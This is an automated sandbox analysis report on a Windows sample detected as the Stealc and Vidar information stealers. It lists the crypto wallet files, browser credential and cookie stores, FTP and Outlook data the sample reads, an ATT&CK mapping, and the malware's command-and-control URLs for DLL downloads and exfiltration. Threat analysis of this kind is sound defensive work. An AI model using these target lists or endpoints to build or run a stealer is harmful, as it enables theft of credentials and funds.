Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 3492, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1894523709.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3492, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3492, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	42%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://185.215.113.100/	100%	URL Reputation	malware
http://185.215.113.100/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.100/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.100	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpion:	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/nss3.dllllb	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpbnhcc	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpWi	100%	Avira URL Cloud	malware
http://185.215.113.1005	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpcal	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpinR	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpPR	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpa	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpcal	18%	Virustotal		Browse
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpRUNTIME140.dllDH	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpion:	6%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.php:	100%	Avira URL Cloud	malware
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpWi	18%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpE	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpal	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.php)	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpettings	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpa	6%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpER	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpE	7%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpVB	100%	Avira URL Cloud	malware
http://185.215.113.100/o	100%	Avira URL Cloud	malware
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	0%	Avira URL Cloud	safe
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://185.215.113.100/0d60be0de163924d/vcruntime140.dllJJKFHJEBKFBGDAAE	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.php3	100%	Avira URL Cloud	malware
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	Avira URL Cloud	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.php:	11%	Virustotal		Browse
http://185.215.113.100e2b1563c6670f193.phpion:	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpNT	100%	Avira URL Cloud	phishing
http://185.215.113.100/e2b1563c6670f193.phpFBFBAAKECFIEBFIEC	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.php3	7%	Virustotal		Browse
http://185.215.113.100/o	16%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phppmfplkfogfpmcngplhnbdnnie	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpnfigOverlay	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpc=#	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.php=C	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpnfigOverlay	6%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpc=#	17%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.php=C	18%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.100/	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	IDBAKKEC.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	AKJKFBAFIDAEBFHJKJEBFCBFHD.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	IDBAKKEC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpion:	file.exe, 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmp	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpbnhcc	file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpWi	file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dllllb	file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.1894523709.00000000012B4000.00000004.00000020.00020000.00000000.sdmp, BAAFBFBAAKECFIEBFIEC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.1005	file.exe, 00000000.00000002.1894523709.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpcal	file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpinR	file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	IDBAKKEC.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpPR	file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpa	file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100	file.exe, 00000000.00000002.1894523709.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp	true	URL Reputation: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	BAAFBFBAAKECFIEBFIEC.0.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	IDBAKKEC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpRUNTIME140.dllDH	file.exe, 00000000.00000002.1894523709.0000000001238000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php:	file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.1894523709.00000000012B4000.00000004.00000020.00020000.00000000.sdmp, BAAFBFBAAKECFIEBFIEC.0.dr	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1906245471.000000001D540000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1914227249.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpE	file.exe, 00000000.00000002.1894523709.0000000001224000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpal	file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php)	file.exe, 00000000.00000002.1894523709.0000000001224000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpettings	file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpER	file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpVB	file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/o	file.exe, 00000000.00000002.1894523709.0000000001238000.00000004.00000020.00020000.00000000.sdmp	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
